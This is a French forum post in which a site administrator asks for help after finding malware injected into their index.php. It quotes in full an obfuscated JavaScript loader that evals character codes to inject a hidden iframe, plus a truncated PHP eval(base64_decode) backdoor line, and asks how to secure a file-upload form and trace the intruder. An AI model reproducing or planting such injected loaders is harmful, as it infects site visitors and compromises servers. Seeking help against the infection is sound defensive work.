Bonjour,

durant les vacances, je me suis aperçu qu'un virus était apparu sur l'un des sites que je gère. Si j'affiche la source de mon fichier index.php, voici ce qui a été inséré à la première ligne :


Code : Sélectionner tout - Visualiser dans une fenêtre à part
<script>var s=new String();a=(new Function("","")+"").substr(3-1,4);if((a=="unct")||(a=="ncti"))a=(document.write+"").substr(2,4);if((a=="unct")||(a=="ncti")){r=1;c=String;}if(r&&document.createTextNode)u=2;e=window['e'+'v'+'al'];m=new Array(4.5*u,18/u,52.5*u,204/u,16*u,80/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,206/u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u,33*u,242/u,42*u,194/u,51.5*u,156/u,48.5*u,218/u,50.5*u,80/u,19.5*u,196/u,55.5*u,200/u,60.5*u,78/u,20.5*u,182/u,24*u,186/u,20.5*u,246/u,4.5*u,18/u,4.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u,20*u,82/u,29.5*u,18/u,4.5*u,250/u,16*u,202/u,54*u,230/u,50.5*u,64/u,61.5*u,18/u,4.5*u,18/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,238/u,57*u,210/u,58*u,202/u,20*u,68/u,30*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,64/u,57.5*u,228/u,49.5*u,122/u,19.5*u,208/u,58*u,232/u,56*u,116/u,23.5*u,94/u,49.5*u,234/u,59.5*u,214/u,49.5*u,222/u,61*u,226/u,49*u,92/u,50*u,208/u,49.5*u,224/u,23*u,196/u,52.5*u,244/u,23.5*u,126/u,51.5*u,222/u,30.5*u,98/u,19.5*u,64/u,59.5*u,210/u,50*u,232/u,52*u,122/u,19.5*u,98/u,24*u,78/u,16*u,208/u,50.5*u,210/u,51.5*u,208/u,58*u,122/u,19.5*u,98/u,24*u,78/u,16*u,230/u,58*u,242/u,54*u,202/u,30.5*u,78/u,59*u,210/u,57.5*u,210/u,49*u,210/u,54*u,210/u,58*u,242/u,29*u,208/u,52.5*u,200/u,50*u,202/u,55*u,118/u,56*u,222/u,57.5*u,210/u,58*u,210/u,55.5*u,220/u,29*u,194/u,49*u,230/u,55.5*u,216/u,58.5*u,232/u,50.5*u,118/u,54*u,202/u,51*u,232/u,29*u,96/u,29.5*u,232/u,55.5*u,224/u,29*u,96/u,29.5*u,78/u,31*u,120/u,23.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,124/u,17*u,82/u,29.5*u,18/u,4.5*u,250/u,4.5*u,18/u,51*u,234/u,55*u,198/u,58*u,210/u,55.5*u,220/u,16*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u,20*u,82/u,61.5*u,18/u,4.5*u,18/u,59*u,194/u,57*u,64/u,51*u,64/u,30.5*u,64/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,198/u,57*u,202/u,48.5*u,232/u,50.5*u,138/u,54*u,202/u,54.5*u,202/u,55*u,232/u,20*u,78/u,52.5*u,204/u,57*u,194/u,54.5*u,202/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,50.5*u,232/u,32.5*u,232/u,58*u,228/u,52.5*u,196/u,58.5*u,232/u,50.5*u,80/u,19.5*u,230/u,57*u,198/u,19.5*u,88/u,19.5*u,208/u,58*u,232/u,56*u,116/u,23.5*u,94/u,49.5*u,234/u,59.5*u,214/u,49.5*u,222/u,61*u,226/u,49*u,92/u,50*u,208/u,49.5*u,224/u,23*u,196/u,52.5*u,244/u,23.5*u,126/u,51.5*u,222/u,30.5*u,98/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,236/u,52.5*u,230/u,52.5*u,196/u,52.5*u,216/u,52.5*u,232/u,60.5*u,122/u,19.5*u,208/u,52.5*u,200/u,50*u,202/u,55*u,78/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,224/u,55.5*u,230/u,52.5*u,232/u,52.5*u,222/u,55*u,122/u,19.5*u,194/u,49*u,230/u,55.5*u,216/u,58.5*u,232/u,50.5*u,78/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,216/u,50.5*u,204/u,58*u,122/u,19.5*u,96/u,19.5*u,118/u,51*u,92/u,57.5*u,232/u,60.5*u,216/u,50.5*u,92/u,58*u,222/u,56*u,122/u,19.5*u,96/u,19.5*u,118/u,51*u,92/u,57.5*u,202/u,58*u,130/u,58*u,232/u,57*u,210/u,49*u,234/u,58*u,202/u,20*u,78/u,59.5*u,210/u,50*u,232/u,52*u,78/u,22*u,78/u,24.5*u,96/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,50.5*u,232/u,32.5*u,232/u,58*u,228/u,52.5*u,196/u,58.5*u,232/u,50.5*u,80/u,19.5*u,208/u,50.5*u,210/u,51.5*u,208/u,58*u,78/u,22*u,78/u,24.5*u,96/u,19.5*u,82/u,29.5*u,18/u,4.5*u,18/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,206/u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u,33*u,242/u,42*u,194/u,51.5*u,156/u,48.5*u,218/u,50.5*u,80/u,19.5*u,196/u,55.5*u,200/u,60.5*u,78/u,20.5*u,182/u,24*u,186/u,23*u,194/u,56*u,224/u,50.5*u,220/u,50*u,134/u,52*u,210/u,54*u,200/u,20*u,204/u,20.5*u,118/u,4.5*u,18/u,62.5*u);if((a=="unct")||(a=="ncti"))mm=c['fromCharCod'+'e'];for(i=0;i<m.length;i++)s+=mm(((a=="unct")||(a=="ncti"))?m[i]:123);if((a=="unct")||(a=="ncti"))e(s);</script>
Je suis donc allé télécharger le fichier index.php sur le FTP, et je trouve ceci à la première ligne :
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<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNF [...] jBhU0lwS1dVb2N5azdQQzl6WTNKcGNIUSsnKSk7DQp9'));

Une conséquence visible de ce virus est que mon anti-virus devient fou, dès que j'affiche la page. J'imagine qu'il fait pas mal de dégâts sur des systèmes mal protégés.

Mon site propose un formulaire d'inscription, avec des champs input de type text et un champ input de type file. J'ai utilisé mysql_real_escape_string() pour éviter les injections SQL, mais apparement, cela ne suffit pas.

Comment puis-je sécuriser mon site pour éviter que ce virus revienne ?

Question subsidiaire, comment puis-je faire pour "remonter à la source", savoir qui essaye de placer ce virus sur mon site ?